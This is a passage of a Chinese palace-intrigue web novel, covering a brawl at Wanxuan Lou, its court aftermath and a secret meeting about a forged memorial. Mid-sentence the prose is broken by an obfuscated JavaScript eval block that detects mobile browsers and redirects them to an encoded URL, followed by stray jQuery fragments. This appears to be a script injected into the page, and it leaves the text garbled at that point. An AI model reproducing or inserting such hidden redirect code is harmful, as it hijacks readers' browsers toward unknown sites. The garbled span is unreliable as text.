周祁脸色白了几分。
这声大哥犹如诅咒一般,迅速将他拉回七岁时在平安王府的不堪。
平安王府里的东西大多新奇,应邀前去平安王府贺喜的人里,本没有周家。
但那时候的禁军统领还是柳昭廷,周家顺带被捎上,跨进了他们原本没资格去的王府,至此成了京城显贵所有人的心魔。
周祁长吸一口气,咬了咬牙,看着眼前许久不见的弟弟,压下额角爆起的青筋,故作轻松道:“多年不见,你还是没规矩。”
旁听的几人都知道柳周两家有何恩怨,但碍着身份不敢插话。
陆源成日浸泡在权贵堆里,深知周祁仗着点权势就卖弄的脾气,是源自周大统领当年夺权后的恶果。若柳江白不出现,将来禁军统领一职多半是周祁的,周家污蔑妻族夺权一事在未来几十年里,一定不会再被人记得。
可柳江白不仅回来了,还武功高强,又是长公主跟前的红人。他光是站在眼前,就已经让窃取果实的贼心惊胆战了。
但周家背后是太子,是未来的储君。
陆源看了眼满眼挑衅的柳江白,心道这小子看着老实,怎么一点儿都沉不住气!刚来京城就敢跟周家叫板,正要替他宽解两句,却见柳江白点头道:“是比不了大哥规矩,毕竟,弄坏别人府里的东西后,栽赃嫁祸给三四岁的我的本事,您独属一份。”
此话一出,看热闹的人倒吸一口凉气。
周祁脸色铁青,“你少血口喷人!我什么时候——”
“那你现在又栽赃了什么罪名?”柳江白不耐烦地打断他,视线落在说不了话的织舞姑娘身上,“这位傀儡师跟你有何恩怨,值得你断了人家活命的本钱,一言不合就带人走!”
周祁要带走她的理由当然说不出口,但柳江白胡搅蛮缠的功夫见长,周祁咬牙切齿道:“跟你有什么关系!禁军拿人办案、护卫天子安危,天经地义!那后院——”
不等他说完,陆源便道:“天子脚下,命案有京兆府管,抓人有逮捕文书。你不仅越权,还无视法度!万轩楼里的人都是凭手艺来混口饭吃的百姓,周小统领一句背着命案,就要带人回去审问,不顾人家的前程名誉。倘若哪天真出事,周小统领是不是要将万轩楼里所有人带去审?”
一连两次被人打断话,周祁气得口不择言,“是又如何!”
说话间,侍卫纷纷拔刀出鞘,森森刀光逼得围观的人不由得噤声。
陆源见他敢对着自己拔刀,气得冷笑一声。他一合扇子,扭身挡在柳江白面前,瞪着周祁,“那就先将本世子捉去审!”
话音一落,王植也热血上头道:“还有我!”
柳江白被挤到一边,声音却亮:“敢抓我们试试!”
几句应和下,国公府和侯府的护卫也将拳头对向了刀刃。
僵持之中,柳江白掩下的手指一弹,将靠近王植的侍卫手肘打了一下,刀刃猝不及防伸向了王植脖颈,眨眼间就划出了一抹血色。
“小侯爷!”
“王植!”
几声急促的呼喊下,那侍卫本能握紧了刀柄,反而将王植扯近身前,似乎要挟持他去捉拿傀儡师,引得围观的人大喊:“杀人啦!”
周祁见了那血色,才知气上头闯了什么祸,呵斥那侍卫松手的话还没出,只听柳江白道:“你是要杀了侯爷么!”
随着这一声喊,陆源气得破口大骂:“周祁!你好大的胆子!”
这煽风点火的小畜生!周祁只恨没早点除了这小祸害,此刻只顾冲自己侍卫道:“放下!”
然而有人比他更快。
嘭的一声,刀飞人滚,柳江白三两下将王植从刀刃边救下来,熟练地从怀里摸出药,给没伤到实处的王植止血。
混乱间,不知是谁踩了谁,谁又推了谁,侍卫手里的刀来不及收,便被急着逃命的人挤脱了手。
柳江白一手护着王植,一边不动声色地伸出腿绊倒周祁,还抽空对没人管的织舞姑娘使了个眼色。
下一刻,人群里爆发出一阵惨叫。不知情的看客听见吓得本能一怔,不知是谁喊了一声:“织舞姑娘死了!”
紧接着有血色漫至脚边,静寂片刻后,惊慌的声音传出:“禁军杀人啦!”
与此同时,后院亦有人喊:“死人啦!”
……
万轩楼案彻底结束时,已经是两天后了。
久病不理朝政的帝王挥手,依旧让太子和长公主处理。
周祁纵仆伤王侯,大闹万轩楼致百姓无辜惨死,无视法度,长公主建议依律将其革职查办,关进大牢。
但靖宣侯府只有王植这一个后人,王植爹娘早早因战事亡故,陈老夫人孤身将王植拉扯长大袭爵,转眼见侯府的独苗险些遭了毒手,不顾年迈的身体,跪请将周祁送进大牢。
可周谦也只有周祁这一个儿子,便也求到了太子门下。
最后还是太子出面作保,只让周祁被贬出京城,永不许回京,连累周谦管教不严,被罚俸一年。为安抚靖宣侯府,又赏赐许多财宝药物。
至于万轩楼里死去的十几名禁军,周谦为保名誉,伙同太子称那些人就是四处作案的江湖杀手,周谦作为保卫宫城安危的禁军头领,领命协同羽林军加强京城巡护。
至此,靖宣侯府与周家彻底撕破脸,反倒同定国公府偏向了新入京的柳江白。
“玄哥前一日救我时,身法好快,改日教教我!”王植裹着颈子上的药,扭头对柳江白道,“听说静山派以前还出过好几个武林盟主,我若是得玄哥传授几招,下次就不会受这窝囊伤了!”
靖宣侯府里的兵刃不多,陈老夫人在接连失去丈夫和儿子儿媳后,便将府里的兵器锁了起来,不许王植学武。
帝王也识趣,知道王家为了守住江山,已经折损了不少人,就对王植恩宠不断,只让他做个享乐的小侯爷。
因而陈老夫人对王植受伤一事的处置,对太子颇为不满。若帝王还能理政,侯府不会受这个委屈。
“你还是先养好伤吧!学武的事我替你。”陆源给自己添了杯茶,看向柳江白,“玄哥不如先教我,我不养伤不理公事,清闲得很!”
“诶——你这就不厚道了!我就是受了点儿皮外伤,你不许跟我抢!”王植挣扎着起身,与陆源打闹一番。
柳江白一手按住一个,叹了叹,“教武功可以,学成以后别说是我教的就行。”
陆王二人同时道:“为什么?”
柳江白环手道:“我们静山派的功夫不许外传,收外门弟子的时候更不许张扬。因此练武的地方要僻静,无人打扰,最好是发出什么动静都没人去看热闹那种。”
他张望了一下侯府,摇头,“可惜这里是京城,在别的地方找个山林、搭个屋子就好,再不济借其他师兄师姐修行过的地方。可你们二位又是世子又是侯爷的,做什么都有人跟着。难办。”
话里有些遗憾,陆源听他这么说,脑袋里迅速搜寻可用之地,只是犹豫道:“京城里倒是有一个炸破了天也不敢有人打扰的地方,但那地方没人敢去,而且,陛下也不准有人提起它。”
王植皱眉思索片刻,与陆源对视道:“你说的不会是……”
陆源四下看了看,怕被“飞鹞”听见,只能对细节暗示,“那地方荒废了许久,里面的东西按理说也没用了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288474|153145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,陛下怕有人冒失弄出人命,便不许人靠近,那地方的一砖一瓦也不许拆。”
王植听这细节,越发肯定他们所想的是同一个地方,点点头,“我听说昨日禁军巡护巡到那里,还被陛下狠狠责罚了一顿。可见陛下还是很担心百姓安危的,就算是老夫人出面请求,恐怕陛下也不答应让我们进。”
见二人对那地方忌讳颇深,柳江白也隐晦地问那地方的位置,“是东街朝春巷那一带吗?”
陆王二人默默点头。
柳江白垂眸哦了一声,“那确实不好进。”
东街朝春巷,是荒废的平安王府。
“既然如此,那我去别的地方买个宅子,里面多种些树木防着点儿,教你们功夫的时候应当也不会外传。况且我老住在我舅舅家中,也不妥。”
听他如此仗义,教个功夫还特意为他们买宅子,陆源当即对他拜了一拜,“玄哥大义,买宅子的事交给我。就当是交束脩了。”
王植亦道:“种树的事交给我,小厮厨娘什么的我也帮着张罗。后日,不,明日我就将人定下来。”
三人定下学武事宜,柳江白借去置办练武兵刃出了侯府,一路走过铁器铺子,一一打量,最终进了间不起眼的铺子,与老板说明要求后,才转身离开。
路口收回视线的穿风刃折返回府,暗中盯着的“飞鹞”察觉,旋即合上窗子,转而对雅间的越辛环道:“是回长公主府的方向。”
越辛环皱了皱眉,“知道了。他去哪儿了?”
这话问向的是另一名“飞鹞”。
轻巧的掩窗声落,被问起的“飞鹞”走过来,面色为难地冲她摇了摇头,“和上次一样,又跟丢了。”
越辛环并不意外。早在回京途中,她也曾像长公主府里派出的暗卫去试探柳江白的身手,都被甩掉了。
上次在万轩楼也一样,亲眼见他走进后院,却寻不到他的踪迹,等前厅闹起来,柳江白又不知从哪里冒了出来。
“都不省心。”越辛环长叹一声,对其他人道,“今日先撤,把在靖宣侯府听到的东西誊出来,随我进宫。其他的不许提。”
“是。”
目睹“飞鹞”离开后,柳江白才从隔壁雅间溜出来,换了身衣裳挤进另一间屋子。
“那些人不好甩吧!”一个低沉的男声说。
柳江白熟络地坐在那人对面,语气轻松:“还好,他们跟不住我的。你也一样,二公子。”
徐知武轻笑:“我现在信你的本事了。她选你是对的。”
柳江白微微扬了下眉梢,“现在能说了吗?令尊是谁的人?你和令堂又打算怎么办?”
提起正事,徐知武叹了口气,长话短说,“他顶替了原来的徐信,受长公主命令潜入徐家,接手穿风刃,追查张淑遗孤。等我们察觉时,已经晚了。我在京城傀儡师的身份消失前,收到利州军援助涂州的请罪奏本,按计划应该递给那位大人,由他呈给皇上。”
徐知武从袖中掏出奏本,“但为了保护那位大人和其他官员不被假徐信发现,我一直没和他们联系。”
他看向柳江白,“我在朝中的另一重身份也不能太冒头,所以得请你想办法将奏本送到陛下面前,才不会打乱她的计划。至于假徐信,我们会亲手除掉他。”
柳江白看着那份奏本,凝眸沉声:“杀掉假徐信后,恐怕长公主为了继续留住徐家的钱财和穿风刃这把刀,会找到你们和徐知文。”
“她留不住的。”
徐知武笃定道:“徐家的钱早就被我娘转移了,徐信那里的是份假账。至于我们,从收养阿盈那天起,我们就做好了死的准备。我大哥也一样。”